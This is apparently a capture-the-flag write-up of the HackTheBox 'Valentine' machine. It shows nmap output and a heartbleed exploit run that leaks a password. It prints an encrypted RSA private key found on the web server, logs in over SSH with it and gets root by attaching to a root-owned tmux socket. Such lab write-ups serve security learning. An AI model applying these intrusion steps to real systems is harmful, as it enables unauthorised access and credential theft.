> For the complete documentation index, see [llms.txt](https://jtnydv.gitbook.io/wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jtnydv.gitbook.io/wiki/write-ups/hackthebox/linux/valentine.md). # Valentine ### Initial Enumeration ```bash # Nmap 7.80 scan initiated Thu Sep 26 21:07:03 2019 as: nmap -sV -sC -O -A -oN O-Detailed -p 22,80,443 10.10.10.79 Nmap scan report for 10.10.10.79 Host is up (0.22s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA) | 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA) |_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Not valid before: 2018-02-06T00:45:25 |_Not valid after: 2019-02-06T00:45:25 |_ssl-date: 2019-09-26T15:29:40+00:00; -7m54s from scanner time. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 2.6.32 - 3.5 (95%), Linux 3.0 (95%), Linux 2.6.38 - 3.0 (94%), Nokia N9 phone (Linux 2.6.32) (94%), Linux 3.2 (94%), Linux 2.6.38 - 2.6.39 (94%), Linux 2.6.39 (94%), Linux 3.5 (93%), Linux 2.6.32 - 3.10 (93%), Linux 2.6.32 - 3.9 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: -7m54s TRACEROUTE (using port 443/tcp) HOP RTT ADDRESS 1 219.71 ms 10.10.14.1 2 219.86 ms 10.10.10.79 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Sep 26 21:07:36 2019 -- 1 IP address (1 host up) scanned in 33.04 seconds ``` ![The web-page clearly signal towards heartbleed bug.](/files/-LpmtqByjztmCE02Vl0z) As the web page signals towards the `heartbleed` bug, I downloaded a script and tested and exploit for `heartbleed`. You can download the script from the link below. {% embed url="" %} ```bash $ ./heartbleed.py 10.10.10.79 defribulator v1.16 A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160) ################################################################## Connecting to: 10.10.10.79:443, 1 times Sending Client Hello for TLSv1.0 Received Server Hello for TLSv1.0 WARNING: 10.10.10.79:443 returned more data than it should - server is vulnerable! Please wait... connection attempt 1 of 1 ################################################################## .@....SC[...r....+..H...9... ....w.3....f... ...!.9.8.........5............... .........3.2.....E.D...../...A.................................I......... ........... ...................................#.......0.0.1/decode.php Content-Type: application/x-www-form-urlencoded Content-Length: 42 $text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==X.7`.....F...q9&.. = ``` The `heartbleed.py` script was dumping a `base64` encoded string in form of a `$text` parameter, which when decoded seemed like a password i.e. `heartbleedbelievethehype` Now the next task was to find a username of some kind to test the password against the SSH service, so I ran `gobuster` and found the following directories, out of which `/dev` seemed very interesting. ```bash /index (Status: 200) /dev (Status: 301) /encode (Status: 200) /decode (Status: 200) /omg (Status: 200) /server-status (Status: 403) ``` ![](/files/-Lpmv-ZxnYd_Fmty4qfH) `hype_key` seemed an interesting file, however it was hex encoded to after decoding it form hex, it turned out to be a `private RSA key` for probably SSH. If going by the naming convention `hype_key` seemed that it's a key for the user `hype`. ```bash $ cat hype_key | xxd -r -p -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46 DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R 5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6 0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5 XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ +wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe 2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP 09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3 -----END RSA PRIVATE KEY----- ``` We had the username, a RSA key, and a password so let's try and connect to the server with these pieces. ```bash $ ssh -i ./ssh.key hype@10.10.10.79 Enter passphrase for key './ssh.key': Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64) * Documentation: https://help.ubuntu.com/ New release '14.04.5 LTS' available. Run 'do-release-upgrade' to upgrade to it. Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3 hype@Valentine:~$ id uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare) hype@Valentine:~$ ``` ### User own ```bash hype@Valentine:~$ cat Desktop/user.txt e6710*** ``` ### Root own Next part is to enumerate for potential attack vectors using `Linux Smart Enumeration` script. {% embed url="" %} Out of everything the things that stood out the most was this list of writeable files and most importantly `/.devs/dev_sess` this file. ```bash [*] fst000 Writable files outside user's home.............................. yes! --- /.devs/dev_sess /var/lib/php5 /var/www/omg.jpg /var/tmp /var/crash /tmp /tmp/output.txt /tmp/.ICE-unix /tmp/.X11-unix /tmp/lse.sh /home/hype ``` However I was not able to read the file, because it was a socket file, so I moved away from this and tried enumerating the history of the current user. ```bash hype@Valentine:/.devs$ history 1 exit 2 exot 3 exit 4 ls -la 5 cd / 6 ls -la 7 cd .devs 8 ls -la 9 tmux -L dev_sess 10 tmux a -t dev_sess 11 tmux --help 12 tmux -S /.devs/dev_sess ``` And lo and behold, it turns out it is a `tmux` socket file which we can attach to using `tmux` command ```bash tmux -S dev_sess ``` And as it turns out, this sessions was owned by root and now we have root access on the box. ```bash root@Valentine:/.devs# id uid=0(root) gid=0(root) groups=0(root) root@Valentine:/.devs# cat /root/root.txt f1bb6*** root@Valentine:/.devs# ``` ### Learning Outcome Suspicious files and basic user enumeration leads to great results, as always.